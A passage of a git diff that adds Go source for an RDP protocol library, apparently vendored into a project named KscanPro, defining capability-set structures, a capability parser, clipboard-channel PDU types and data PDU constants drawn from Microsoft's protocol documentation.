+ TS_NEG_DSTBLT_INDEX Order = 0x00
+ TS_NEG_PATBLT_INDEX = 0x01
+ TS_NEG_SCRBLT_INDEX = 0x02
+ TS_NEG_MEMBLT_INDEX = 0x03
+ TS_NEG_MEM3BLT_INDEX = 0x04
+ TS_NEG_DRAWNINEGRID_INDEX = 0x07
+ TS_NEG_LINETO_INDEX = 0x08
+ TS_NEG_MULTI_DRAWNINEGRID_INDEX = 0x09
+ TS_NEG_SAVEBITMAP_INDEX = 0x0B
+ TS_NEG_MULTIDSTBLT_INDEX = 0x0F
+ TS_NEG_MULTIPATBLT_INDEX = 0x10
+ TS_NEG_MULTISCRBLT_INDEX = 0x11
+ TS_NEG_MULTIOPAQUERECT_INDEX = 0x12
+ TS_NEG_FAST_INDEX_INDEX = 0x13
+ TS_NEG_POLYGON_SC_INDEX = 0x14
+ TS_NEG_POLYGON_CB_INDEX = 0x15
+ TS_NEG_POLYLINE_INDEX = 0x16
+ TS_NEG_FAST_GLYPH_INDEX = 0x18
+ TS_NEG_ELLIPSE_SC_INDEX = 0x19
+ TS_NEG_ELLIPSE_CB_INDEX = 0x1A
+ TS_NEG_INDEX_INDEX = 0x1B
+)
+
+type OrderEx uint16
+
+const (
+ ORDERFLAGS_EX_CACHE_BITMAP_REV3_SUPPORT OrderEx = 0x0002
+ ORDERFLAGS_EX_ALTSEC_FRAME_MARKER_SUPPORT = 0x0004
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240563.aspx
+ */
+
+const (
+ INPUT_FLAG_SCANCODES uint16 = 0x0001
+ INPUT_FLAG_MOUSEX = 0x0004
+ INPUT_FLAG_FASTPATH_INPUT = 0x0008
+ INPUT_FLAG_UNICODE = 0x0010
+ INPUT_FLAG_FASTPATH_INPUT2 = 0x0020
+ INPUT_FLAG_UNUSED1 = 0x0040
+ INPUT_FLAG_UNUSED2 = 0x0080
+ INPUT_FLAG_MOUSE_HWHEEL = 0x0100
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240564.aspx
+ */
+type BrushSupport uint32
+
+const (
+ BRUSH_DEFAULT BrushSupport = 0x00000000
+ BRUSH_COLOR_8x8 = 0x00000001
+ BRUSH_COLOR_FULL = 0x00000002
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240565.aspx
+ */
+type GlyphSupport uint16
+
+const (
+ GLYPH_SUPPORT_NONE GlyphSupport = 0x0000
+ GLYPH_SUPPORT_PARTIAL = 0x0001
+ GLYPH_SUPPORT_FULL = 0x0002
+ GLYPH_SUPPORT_ENCODE = 0x0003
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240550.aspx
+ */
+type OffscreenSupportLevel uint32
+
+const (
+ OSL_FALSE OffscreenSupportLevel = 0x00000000
+ OSL_TRUE = 0x00000001
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240551.aspx
+ */
+type VirtualChannelCompressionFlag uint32
+
+const (
+ VCCAPS_NO_COMPR VirtualChannelCompressionFlag = 0x00000000
+ VCCAPS_COMPR_SC = 0x00000001
+ VCCAPS_COMPR_CS_8K = 0x00000002
+)
+
+type SoundFlag uint16
+
+const (
+ SOUND_NONE SoundFlag = 0x0000
+ SOUND_BEEPS_FLAG = 0x0001
+)
+
+type RailsupportLevel uint32
+
+const (
+ RAIL_LEVEL_SUPPORTED = 0x00000001
+ RAIL_LEVEL_DOCKED_LANGBAR_SUPPORTED = 0x00000002
+ RAIL_LEVEL_SHELL_INTEGRATION_SUPPORTED = 0x00000004
+ RAIL_LEVEL_LANGUAGE_IME_SYNC_SUPPORTED = 0x00000008
+ RAIL_LEVEL_SERVER_TO_CLIENT_IME_SYNC_SUPPORTED = 0x00000010
+ RAIL_LEVEL_HIDE_MINIMIZED_APPS_SUPPORTED = 0x00000020
+ RAIL_LEVEL_WINDOW_CLOAKING_SUPPORTED = 0x00000040
+ RAIL_LEVEL_HANDSHAKE_EX_SUPPORTED = 0x00000080
+)
+
+const (
+ INPUT_EVENT_SYNC = 0x0000
+ INPUT_EVENT_UNUSED = 0x0002
+ INPUT_EVENT_SCANCODE = 0x0004
+ INPUT_EVENT_UNICODE = 0x0005
+ INPUT_EVENT_MOUSE = 0x8001
+ INPUT_EVENT_MOUSEX = 0x8002
+)
+
+const (
+ PTRFLAGS_HWHEEL = 0x0400
+ PTRFLAGS_WHEEL = 0x0200
+ PTRFLAGS_WHEEL_NEGATIVE = 0x0100
+ WheelRotationMask = 0x01FF
+ PTRFLAGS_MOVE = 0x0800
+ PTRFLAGS_DOWN = 0x8000
+ PTRFLAGS_BUTTON1 = 0x1000
+ PTRFLAGS_BUTTON2 = 0x2000
+ PTRFLAGS_BUTTON3 = 0x4000
+)
+
+const (
+ KBDFLAGS_EXTENDED = 0x0100
+ KBDFLAGS_DOWN = 0x4000
+ KBDFLAGS_RELEASE = 0x8000
+)
+
+type Capability interface {
+ Type() CapsType
+}
+
+type GeneralCapability struct {
+ // 010018000100030000020000000015040000000000000000
+ OSMajorType MajorType `struc:"little"`
+ OSMinorType MinorType `struc:"little"`
+ ProtocolVersion uint16 `struc:"little"`
+ Pad2octetsA uint16 `struc:"little"`
+ GeneralCompressionTypes uint16 `struc:"little"`
+ ExtraFlags uint16 `struc:"little"`
+ UpdateCapabilityFlag uint16 `struc:"little"`
+ RemoteUnshareFlag uint16 `struc:"little"`
+ GeneralCompressionLevel uint16 `struc:"little"`
+ RefreshRectSupport uint8 `struc:"little"`
+ SuppressOutputSupport uint8 `struc:"little"`
+}
+
+func (*GeneralCapability) Type() CapsType {
+ return CAPSTYPE_GENERAL
+}
+
+type BitmapCapability struct {
+ // 02001c00180001000100010000052003000000000100000001000000
+ PreferredBitsPerPixel gcc.HighColor `struc:"little"`
+ Receive1BitPerPixel uint16 `struc:"little"`
+ Receive4BitsPerPixel uint16 `struc:"little"`
+ Receive8BitsPerPixel uint16 `struc:"little"`
+ DesktopWidth uint16 `struc:"little"`
+ DesktopHeight uint16 `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+ DesktopResizeFlag uint16 `struc:"little"`
+ BitmapCompressionFlag uint16 `struc:"little"`
+ HighColorFlags uint8 `struc:"little"`
+ DrawingFlags uint8 `struc:"little"`
+ MultipleRectangleSupport uint16 `struc:"little"`
+ Pad2octetsB uint16 `struc:"little"`
+}
+
+func (*BitmapCapability) Type() CapsType {
+ return CAPSTYPE_BITMAP
+}
+
+type BitmapCacheCapability struct {
+ // 04002800000000000000000000000000000000000000000000000000000000000000000000000000
+ Pad1 uint32 `struc:"little"`
+ Pad2 uint32 `struc:"little"`
+ Pad3 uint32 `struc:"little"`
+ Pad4 uint32 `struc:"little"`
+ Pad5 uint32 `struc:"little"`
+ Pad6 uint32 `struc:"little"`
+ Cache0Entries uint16 `struc:"little"`
+ Cache0MaximumCellSize uint16 `struc:"little"`
+ Cache1Entries uint16 `struc:"little"`
+ Cache1MaximumCellSize uint16 `struc:"little"`
+ Cache2Entries uint16 `struc:"little"`
+ Cache2MaximumCellSize uint16 `struc:"little"`
+}
+
+func (*BitmapCacheCapability) Type() CapsType {
+ return CAPSTYPE_BITMAPCACHE
+}
+
+type OrderCapability struct {
+ // 030058000000000000000000000000000000000000000000010014000000010000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000008403000000000000000000
+ TerminalDescriptor [16]byte
+ Pad4octetsA uint32 `struc:"little"`
+ DesktopSaveXGranularity uint16 `struc:"little"`
+ DesktopSaveYGranularity uint16 `struc:"little"`
+ Pad2octetsA uint16 `struc:"little"`
+ MaximumOrderLevel uint16 `struc:"little"`
+ NumberFonts uint16 `struc:"little"`
+ OrderFlags OrderFlag `struc:"little"`
+ OrderSupport [32]byte
+ TextFlags uint16 `struc:"little"`
+ OrderSupportExFlags uint16 `struc:"little"`
+ Pad4octetsB uint32 `struc:"little"`
+ DesktopSaveSize uint32 `struc:"little"`
+ Pad2octetsC uint16 `struc:"little"`
+ Pad2octetsD uint16 `struc:"little"`
+ TextANSICodePage uint16 `struc:"little"`
+ Pad2octetsE uint16 `struc:"little"`
+}
+
+func (*OrderCapability) Type() CapsType {
+ return CAPSTYPE_ORDER
+}
+
+type PointerCapability struct {
+ ColorPointerFlag uint16 `struc:"little"`
+ ColorPointerCacheSize uint16 `struc:"little"`
+ // old version of rdp doesn't support ...
+ // PointerCacheSize uint16 `struc:"little"` // only server need
+}
+
+func (*PointerCapability) Type() CapsType {
+ return CAPSTYPE_POINTER
+}
+
+type InputCapability struct {
+ // 0d005c001500000009040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000
+ Flags uint16 `struc:"little"`
+ Pad2octetsA uint16 `struc:"little"`
+ // same value as gcc.ClientCoreSettings.kbdLayout
+ KeyboardLayout gcc.KeyboardLayout `struc:"little"`
+ // same value as gcc.ClientCoreSettings.keyboardType
+ KeyboardType uint32 `struc:"little"`
+ // same value as gcc.ClientCoreSettings.keyboardSubType
+ KeyboardSubType uint32 `struc:"little"`
+ // same value as gcc.ClientCoreSettings.keyboardFnKeys
+ KeyboardFunctionKey uint32 `struc:"little"`
+ // same value as gcc.ClientCoreSettingrrs.imeFileName
+ ImeFileName [64]byte
+ //need add 0c000000 in the end
+}
+
+func (*InputCapability) Type() CapsType {
+ return CAPSTYPE_INPUT
+}
+
+type BrushCapability struct {
+ // 0f00080000000000
+ SupportLevel BrushSupport `struc:"little"`
+}
+
+func (*BrushCapability) Type() CapsType {
+ return CAPSTYPE_BRUSH
+}
+
+type cacheEntry struct {
+ Entries uint16 `struc:"little"`
+ MaximumCellSize uint16 `struc:"little"`
+}
+
+type GlyphCapability struct {
+ // 10003400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+ GlyphCache [10]cacheEntry `struc:"little"`
+ FragCache uint32 `struc:"little"`
+ SupportLevel GlyphSupport `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+}
+
+func (*GlyphCapability) Type() CapsType {
+ return CAPSTYPE_GLYPHCACHE
+}
+
+type OffscreenBitmapCacheCapability struct {
+ // 11000c000000000000000000
+ SupportLevel OffscreenSupportLevel `struc:"little"`
+ CacheSize uint16 `struc:"little"`
+ CacheEntries uint16 `struc:"little"`
+}
+
+func (*OffscreenBitmapCacheCapability) Type() CapsType {
+ return CAPSTYPE_OFFSCREENCACHE
+}
+
+type VirtualChannelCapability struct {
+ // 14000c000000000000000000
+ Flags VirtualChannelCompressionFlag `struc:"little"`
+ VCChunkSize uint32 `struc:"little"` // optional
+}
+
+func (*VirtualChannelCapability) Type() CapsType {
+ return CAPSTYPE_VIRTUALCHANNEL
+}
+
+type SoundCapability struct {
+ // 0c00080000000000
+ Flags SoundFlag `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+}
+
+func (*SoundCapability) Type() CapsType {
+ return CAPSTYPE_SOUND
+}
+
+type ControlCapability struct {
+ ControlFlags uint16 `struc:"little"`
+ RemoteDetachFlag uint16 `struc:"little"`
+ ControlInterest uint16 `struc:"little"`
+ DetachInterest uint16 `struc:"little"`
+}
+
+func (*ControlCapability) Type() CapsType {
+ return CAPSTYPE_CONTROL
+}
+
+type WindowActivationCapability struct {
+ HelpKeyFlag uint16 `struc:"little"`
+ HelpKeyIndexFlag uint16 `struc:"little"`
+ HelpExtendedKeyFlag uint16 `struc:"little"`
+ WindowManagerKeyFlag uint16 `struc:"little"`
+}
+
+func (*WindowActivationCapability) Type() CapsType {
+ return CAPSTYPE_ACTIVATION
+}
+
+type FontCapability struct {
+ SupportFlags uint16 `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+}
+
+func (*FontCapability) Type() CapsType {
+ return CAPSTYPE_FONT
+}
+
+type ColorCacheCapability struct {
+ CacheSize uint16 `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+}
+
+func (*ColorCacheCapability) Type() CapsType {
+ return CAPSTYPE_COLORCACHE
+}
+
+type ShareCapability struct {
+ NodeId uint16 `struc:"little"`
+ Pad2octets uint16 `struc:"little"`
+}
+
+func (*ShareCapability) Type() CapsType {
+ return CAPSTYPE_SHARE
+}
+
+type MultiFragmentUpdate struct {
+ // 1a00080000000000
+ MaxRequestSize uint32 `struc:"little"`
+}
+
+func (*MultiFragmentUpdate) Type() CapsType {
+ return CAPSETTYPE_MULTIFRAGMENTUPDATE
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpegdi/52635737-d144-4f47-9c88-b48ceaf3efb4
+
+type DrawGDIPlusCapability struct {
+ SupportLevel uint32
+ GdipVersion uint32
+ CacheLevel uint32
+ GdipCacheEntries [10]byte
+ GdipCacheChunkSize [8]byte
+ GdipImageCacheProperties [6]byte
+}
+
+func (*DrawGDIPlusCapability) Type() CapsType {
+ return CAPSTYPE_DRAWGDIPLUS
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/86507fed-a0ee-4242-b802-237534a8f65e
+type BitmapCodec struct {
+ GUID [16]byte
+ ID uint8
+ PropertiesLength uint16 `struc:"little,sizeof=Properties"`
+ Properties []byte
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/408b1878-9f6e-4106-8329-1af42219ba6a
+type BitmapCodecS struct {
+ Count uint8 `struc:"sizeof=Array"`
+ Array []BitmapCodec
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/17e80f50-d163-49de-a23b-fd6456aa472f
+type BitmapCodecsCapability struct {
+ SupportedBitmapCodecs BitmapCodecS // A variable-length field containing a TS_BITMAPCODECS structure (section 2.2.7.2.10.1).
+}
+
+func (*BitmapCodecsCapability) Type() CapsType {
+ return CAPSETTYPE_BITMAP_CODECS
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/fc05c385-46c3-42cb-9ed2-c475a3990e0b
+type BitmapCacheHostSupportCapability struct {
+ CacheVersion uint8
+ Pad1 uint8
+ Pad2 uint16
+}
+
+func (*BitmapCacheHostSupportCapability) Type() CapsType {
+ return CAPSTYPE_BITMAPCACHE_HOSTSUPPORT
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/41323437-c753-460e-8108-495a6fdd68a8
+type LargePointerCapability struct {
+ SupportFlags uint16 `struc:"little"`
+}
+
+func (*LargePointerCapability) Type() CapsType {
+ return CAPSETTYPE_LARGE_POINTER
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdperp/36a25e21-25e1-4954-aae8-09aaf6715c79
+type RemoteProgramsCapability struct {
+ RailSupportLevel uint32 `struc:"little"`
+}
+
+func (*RemoteProgramsCapability) Type() CapsType {
+ return CAPSTYPE_RAIL
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdperp/82ec7a69-f7e3-4294-830d-666178b35d15
+type WindowListCapability struct {
+ WndSupportLevel uint32 `struc:"little"`
+ NumIconCaches uint8
+ NumIconCacheEntries uint16 `struc:"little"`
+}
+
+func (*WindowListCapability) Type() CapsType {
+ return CAPSTYPE_WINDOW
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9132002f-f133-4a0f-ba2f-2dc48f1e7f93
+type DesktopCompositionCapability struct {
+ CompDeskSupportLevel uint16 `struc:"little"`
+}
+
+func (*DesktopCompositionCapability) Type() CapsType {
+ return CAPSETTYPE_COMPDESK
+}
+
+// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/aa953018-c0a8-4761-bb12-86586c2cd56a
+type SurfaceCommandsCapability struct {
+ CmdFlags uint32 `struc:"little"`
+ Reserved uint32 `struc:"little"`
+}
+
+func (*SurfaceCommandsCapability) Type() CapsType {
+ return CAPSETTYPE_SURFACE_COMMANDS
+}
+
+func readCapability(r io.Reader) (Capability, error) {
+ capType, err := core.ReadUint16LE(r)
+ if err != nil {
+ return nil, err
+ }
+ capLen, err := core.ReadUint16LE(r)
+ if err != nil {
+ return nil, err
+ }
+ if int(capLen)-4 <= 0 {
+ return nil, err
+ }
+
+ capBytes, err := core.ReadBytes(int(capLen)-4, r)
+ if err != nil {
+ return nil, err
+ }
+ capReader := bytes.NewReader(capBytes)
+ var c Capability
+ glog.Debugf("Capability type 0x%04x", capType)
+ switch CapsType(capType) {
+ case CAPSTYPE_GENERAL:
+ c = &GeneralCapability{}
+ case CAPSTYPE_BITMAP:
+ c = &BitmapCapability{}
+ case CAPSTYPE_ORDER:
+ c = &OrderCapability{}
+ case CAPSTYPE_BITMAPCACHE:
+ c = &BitmapCacheCapability{}
+ case CAPSTYPE_POINTER:
+ c = &PointerCapability{}
+ case CAPSTYPE_INPUT:
+ c = &InputCapability{}
+ case CAPSTYPE_BRUSH:
+ c = &BrushCapability{}
+ case CAPSTYPE_GLYPHCACHE:
+ c = &GlyphCapability{}
+ case CAPSTYPE_OFFSCREENCACHE:
+ c = &OffscreenBitmapCacheCapability{}
+ case CAPSTYPE_VIRTUALCHANNEL:
+ c = &VirtualChannelCapability{}
+ case CAPSTYPE_SOUND:
+ c = &SoundCapability{}
+ case CAPSTYPE_CONTROL:
+ c = &ControlCapability{}
+ case CAPSTYPE_ACTIVATION:
+ c = &WindowActivationCapability{}
+ case CAPSTYPE_FONT:
+ c = &FontCapability{}
+ case CAPSTYPE_COLORCACHE:
+ c = &ColorCacheCapability{}
+ case CAPSTYPE_SHARE:
+ c = &ShareCapability{}
+ case CAPSETTYPE_MULTIFRAGMENTUPDATE:
+ c = &MultiFragmentUpdate{}
+ case CAPSTYPE_DRAWGDIPLUS:
+ c = &DrawGDIPlusCapability{}
+ case CAPSETTYPE_BITMAP_CODECS:
+ c = &BitmapCodecsCapability{}
+ case CAPSTYPE_BITMAPCACHE_HOSTSUPPORT:
+ c = &BitmapCacheHostSupportCapability{}
+ case CAPSETTYPE_LARGE_POINTER:
+ c = &LargePointerCapability{}
+ case CAPSTYPE_RAIL:
+ c = &RemoteProgramsCapability{}
+ case CAPSTYPE_WINDOW:
+ c = &WindowListCapability{}
+ case CAPSETTYPE_COMPDESK:
+ c = &DesktopCompositionCapability{}
+ case CAPSETTYPE_SURFACE_COMMANDS:
+ c = &SurfaceCommandsCapability{}
+ //case CAPSSETTYPE_FRAME_ACKNOWLEDGE:
+ //c =
+ //glog.Error("CAPSSETTYPE_FRAME_ACKNOWLEDGE")
+ default:
+ err := errors.New(fmt.Sprintf("unsupported Capability type 0x%04x", capType))
+ glog.Error(err)
+ return nil, err
+ }
+ if err := struc.Unpack(capReader, c); err != nil {
+ glog.Error("Capability unpack error", err, fmt.Sprintf("0x%04x", capType), hex.EncodeToString(capBytes))
+ return nil, err
+ }
+ glog.Debugf("Capability: %+v", c)
+ return c, nil
+}
diff --git a/lib/grdp/protocol/pdu/cliprdr.go b/lib/grdp/protocol/pdu/cliprdr.go
new file mode 100644
index 0000000..e44ff24
--- /dev/null
+++ b/lib/grdp/protocol/pdu/cliprdr.go
@@ -0,0 +1,341 @@
+package pdu
+
+import (
+ "bytes"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/glog"
+)
+
+/**
+ * Initialization Sequence\n
+ * Client Server\n
+ * | |\n
+ * |<----------------------Server Clipboard Capabilities PDU-----------------|\n
+ * |<-----------------------------Monitor Ready PDU--------------------------|\n
+ * |-----------------------Client Clipboard Capabilities PDU---------------->|\n
+ * |---------------------------Temporary Directory PDU---------------------->|\n
+ * |-------------------------------Format List PDU-------------------------->|\n
+ * |<--------------------------Format List Response PDU----------------------|\n
+ *
+ */
+
+/**
+ * Data Transfer Sequences\n
+ * Shared Local\n
+ * Clipboard Owner Clipboard Owner\n
+ * | |\n
+ * |-------------------------------------------------------------------------|\n _
+ * |-------------------------------Format List PDU-------------------------->|\n |
+ * |<--------------------------Format List Response PDU----------------------|\n _| Copy
+ * Sequence
+ * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n
+ * |-------------------------------------------------------------------------|\n
+ * |-------------------------------------------------------------------------|\n _
+ * |<--------------------------Format Data Request PDU-----------------------|\n | Paste
+ * Sequence Palette,
+ * |---------------------------Format Data Response PDU--------------------->|\n _| Metafile,
+ * File List Data
+ * |-------------------------------------------------------------------------|\n
+ * |-------------------------------------------------------------------------|\n _
+ * |<------------------------Format Contents Request PDU---------------------|\n | Paste
+ * Sequence
+ * |-------------------------Format Contents Response PDU------------------->|\n _| File
+ * Stream Data
+ * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n
+ * |-------------------------------------------------------------------------|\n
+ *
+ */
+
+type MsgType uint16
+
+const (
+ CB_MONITOR_READY = 0x0001
+ CB_FORMAT_LIST = 0x0002
+ CB_FORMAT_LIST_RESPONSE = 0x0003
+ CB_FORMAT_DATA_REQUEST = 0x0004
+ CB_FORMAT_DATA_RESPONSE = 0x0005
+ CB_TEMP_DIRECTORY = 0x0006
+ CB_CLIP_CAPS = 0x0007
+ CB_FILECONTENTS_REQUEST = 0x0008
+ CB_FILECONTENTS_RESPONSE = 0x0009
+ CB_LOCK_CLIPDATA = 0x000A
+ CB_UNLOCK_CLIPDATA = 0x000B
+)
+
+type MsgFlags uint16
+
+const (
+ CB_RESPONSE_OK = 0x0001
+ CB_RESPONSE_FAIL = 0x0002
+ CB_ASCII_NAMES = 0x0004
+)
+
+type DwFlags uint32
+
+const (
+ FILECONTENTS_SIZE = 0x00000001
+ FILECONTENTS_RANGE = 0x00000002
+)
+
+type CliprdrPDUHeader struct {
+ MsgType uint16 `struc:"little"`
+ MsgFlags uint16 `struc:"little"`
+ DataLen uint32 `struc:"little"`
+}
+
+func NewCliprdrPDUHeader(mType, flags uint16, ln uint32) *CliprdrPDUHeader {
+ return &CliprdrPDUHeader{
+ MsgType: mType,
+ MsgFlags: flags,
+ DataLen: ln,
+ }
+}
+
+/*
+ func (c *CliprdrPDU) serialize() []byte {
+ b := &bytes.Buffer{}
+
+ return b.Bytes()
+ }
+
+func (c *CliprdrPDU) SendCliprdrGeneralCapability() {
+
+}
+func (c *CliprdrPDU) RecvCliprdrCaps() {
+
+}
+
+func (c *CliprdrPDU) RecvMonitorReady() {
+
+}
+
+func (c *CliprdrPDU) SendCliprdrFileContentsRequest() {
+
+}
+func (c *CliprdrPDU) SendCliprdrFileContentsResponse() {
+
+}
+func (c *CliprdrPDU) SendCliprdrClientFormatList() {
+
+}
+
+func (c *CliprdrPDU) RecvCliprdrClientFormatListResponse() {
+
+}
+*/
+type CliprdrClient struct {
+ useLongFormatNames bool
+ streamFileClipEnabled bool
+ fileClipNoFilePaths bool
+ canLockClipData bool
+ hasHugeFileSupport bool
+}
+
+func process_message(s []byte) {
+ r := bytes.NewReader(s)
+
+ msgType, _ := core.ReadUint16LE(r)
+ flag, _ := core.ReadUint16LE(r)
+ length, _ := core.ReadUInt32LE(r)
+
+ glog.Debug("cliprdr: type=%d flag=%d length=%d", msgType, flag, length)
+
+ switch msgType {
+ case CB_MONITOR_READY:
+ //clipboard_sync(plugin->device_data);
+ break
+ case CB_FORMAT_LIST:
+ //clipboard_format_list(plugin->device_data, flag,
+ // data + 8, length);
+ //cliprdr_send_packet(plugin, CB_FORMAT_LIST_RESPONSE,
+ // CB_RESPONSE_OK, NULL, 0);
+ break
+ case CB_FORMAT_LIST_RESPONSE:
+ //clipboard_format_list_response(plugin->device_data, flag);
+ break
+ case CB_FORMAT_DATA_REQUEST:
+ //format = GET_UINT32(data, 8);
+ //clipboard_request_data(plugin->device_data, format);
+ break
+ case CB_FORMAT_DATA_RESPONSE:
+ //clipboard_handle_data(plugin->device_data, flag,
+ //data + 8, length);
+ //break;
+ case CB_CLIP_CAPS:
+ //clipboard_handle_caps(plugin->device_data, flag,
+ //data + 8, length);
+ break
+ default:
+ glog.Error("type %d not supported", msgType)
+ break
+ }
+
+}
+
+type CliprdrGeneralCapabilitySet struct {
+ CapabilitySetType uint16 `struc:"little"`
+ CapabilitySetLength uint16 `struc:"little"`
+ Version uint32 `struc:"little"`
+ GeneralFlags uint32 `struc:"little"`
+}
+type CliprdrCapabilitySets struct {
+ CapabilitySetType uint16 `struc:"little"`
+ LengthCapability uint16 `struc:"little,sizeof=CapabilityData"`
+ CapabilityData []byte `struc:"little"`
+}
+type CliprdrCapabilitiesPDU struct {
+ *CliprdrPDUHeader `struc:"little"`
+ CCapabilitiesSets uint16 `struc:"little"`
+ Pad1 uint16 `struc:"little"`
+ CapabilitySets CliprdrGeneralCapabilitySet `struc:"little"`
+}
+
+type CliprdrMonitorReady struct {
+ *CliprdrPDUHeader `struc:"little"`
+}
+
+type GeneralFlags uint32
+
+const (
+ /* CLIPRDR_GENERAL_CAPABILITY.generalFlags */
+ CB_USE_LONG_FORMAT_NAMES = 0x00000002
+ CB_STREAM_FILECLIP_ENABLED = 0x00000004
+ CB_FILECLIP_NO_FILE_PATHS = 0x00000008
+ CB_CAN_LOCK_CLIPDATA = 0x00000010
+ CB_HUGE_FILE_SUPPORT_ENABLED = 0x00000020
+)
+
+const (
+ /* CLIPRDR_GENERAL_CAPABILITY.version */
+ CB_CAPS_VERSION_1 = 0x00000001
+ CB_CAPS_VERSION_2 = 0x00000002
+)
+const (
+ CB_CAPSTYPE_GENERAL_LEN = 12
+)
+
+func CliprdrInit(context CliprdrClient) {
+ var (
+ generalFlags uint32
+ generalCapabilitySet CliprdrGeneralCapabilitySet
+ monitorReady CliprdrMonitorReady
+ capabilities CliprdrCapabilitiesPDU
+ )
+
+ generalFlags = 0
+ monitorReady.MsgType = CB_MONITOR_READY
+ capabilities.MsgType = CB_CLIP_CAPS
+
+ if context.useLongFormatNames {
+ generalFlags |= CB_USE_LONG_FORMAT_NAMES
+ }
+
+ if context.streamFileClipEnabled {
+ generalFlags |= CB_STREAM_FILECLIP_ENABLED
+ }
+
+ if context.fileClipNoFilePaths {
+ generalFlags |= CB_FILECLIP_NO_FILE_PATHS
+ }
+
+ if context.canLockClipData {
+ generalFlags |= CB_CAN_LOCK_CLIPDATA
+ }
+
+ if context.hasHugeFileSupport {
+ generalFlags |= CB_HUGE_FILE_SUPPORT_ENABLED
+ }
+
+ capabilities.MsgType = CB_CLIP_CAPS
+ capabilities.MsgFlags = 0
+ capabilities.DataLen = 4 + CB_CAPSTYPE_GENERAL_LEN
+ capabilities.CCapabilitiesSets = 1
+
+ generalCapabilitySet.CapabilitySetType = 0x0001
+ generalCapabilitySet.CapabilitySetLength = CB_CAPSTYPE_GENERAL_LEN
+ generalCapabilitySet.Version = CB_CAPS_VERSION_2
+ generalCapabilitySet.GeneralFlags = generalFlags
+ capabilities.CapabilitySets = generalCapabilitySet
+
+ /* if ((err= context->ServerCapabilities(context, &capabilities))){
+ //glog.Error(TAG, "ServerCapabilities failed with error %" PRIu32 "!", err);
+ return err
+ }
+
+ if ((err = context->MonitorReady(context, &monitorReady))){
+ //glog.Error("MonitorReady failed with error %" PRIu32 "!", err);
+ return err
+ }*/
+
+ //return err
+}
+
+// temp dir
+type CliprdrTempDirectory struct {
+ Header *CliprdrPDUHeader
+ SzTempDir string
+}
+
+// format list
+type CliprdrFormat struct {
+ FormatId uint32
+ FormatName string
+}
+type CliprdrFormatList struct {
+ Header *CliprdrPDUHeader
+ NumFormats uint32
+ Formats []CliprdrFormat
+}
+type ClipboardFormats uint16
+
+const (
+ CB_FORMAT_HTML = 0xD010
+ CB_FORMAT_PNG = 0xD011
+ CB_FORMAT_JPEG = 0xD012
+ CB_FORMAT_GIF = 0xD013
+ CB_FORMAT_TEXTURILIST = 0xD014
+ CB_FORMAT_GNOMECOPIEDFILES = 0xD015
+ CB_FORMAT_MATECOPIEDFILES = 0xD016
+)
+
+// lock or unlock
+type CliprdrCtrlClipboardData struct {
+ Header *CliprdrPDUHeader
+ ClipDataId uint32
+}
+
+// format data
+type CliprdrFormatDataRequest struct {
+ Header *CliprdrPDUHeader
+ RequestedFormatId uint32
+}
+type CliprdrFormatDataResponse struct {
+ Header *CliprdrPDUHeader
+ RequestedFormatData []byte
+}
+
+// file contents
+type CliprdrFileContentsRequest struct {
+ Header *CliprdrPDUHeader
+ StreamId uint32
+ Lindex int32
+ DwFlags uint32
+ NPositionLow uint32
+ NPositionHigh uint32
+ CbRequested uint32
+ ClipDataId uint32
+}
+
+func NewCliprdrFileContentsRequest() *CliprdrFileContentsRequest {
+ return &CliprdrFileContentsRequest{
+ Header: NewCliprdrPDUHeader(CB_FILECONTENTS_REQUEST, 0, 0),
+ }
+}
+
+type CliprdrFileContentsResponse struct {
+ Header *CliprdrPDUHeader
+ StreamId uint32
+ CbRequested uint32
+ RequestedData []byte
+}
diff --git a/lib/grdp/protocol/pdu/data.go b/lib/grdp/protocol/pdu/data.go
new file mode 100644
index 0000000..6d2b6a6
--- /dev/null
+++ b/lib/grdp/protocol/pdu/data.go
@@ -0,0 +1,824 @@
+package pdu
+
+import (
+ "bytes"
+ "errors"
+ "fmt"
+ "io"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/glog"
+ "github.com/lunixbochs/struc"
+)
+
+const (
+ PDUTYPE_DEMANDACTIVEPDU = 0x11
+ PDUTYPE_CONFIRMACTIVEPDU = 0x13
+ PDUTYPE_DEACTIVATEALLPDU = 0x16
+ PDUTYPE_DATAPDU = 0x17
+ PDUTYPE_SERVER_REDIR_PKT = 0x1A
+)
+
+const (
+ PDUTYPE2_UPDATE = 0x02
+ PDUTYPE2_CONTROL = 0x14
+ PDUTYPE2_POINTER = 0x1B
+ PDUTYPE2_INPUT = 0x1C
+ PDUTYPE2_SYNCHRONIZE = 0x1F
+ PDUTYPE2_REFRESH_RECT = 0x21
+ PDUTYPE2_PLAY_SOUND = 0x22
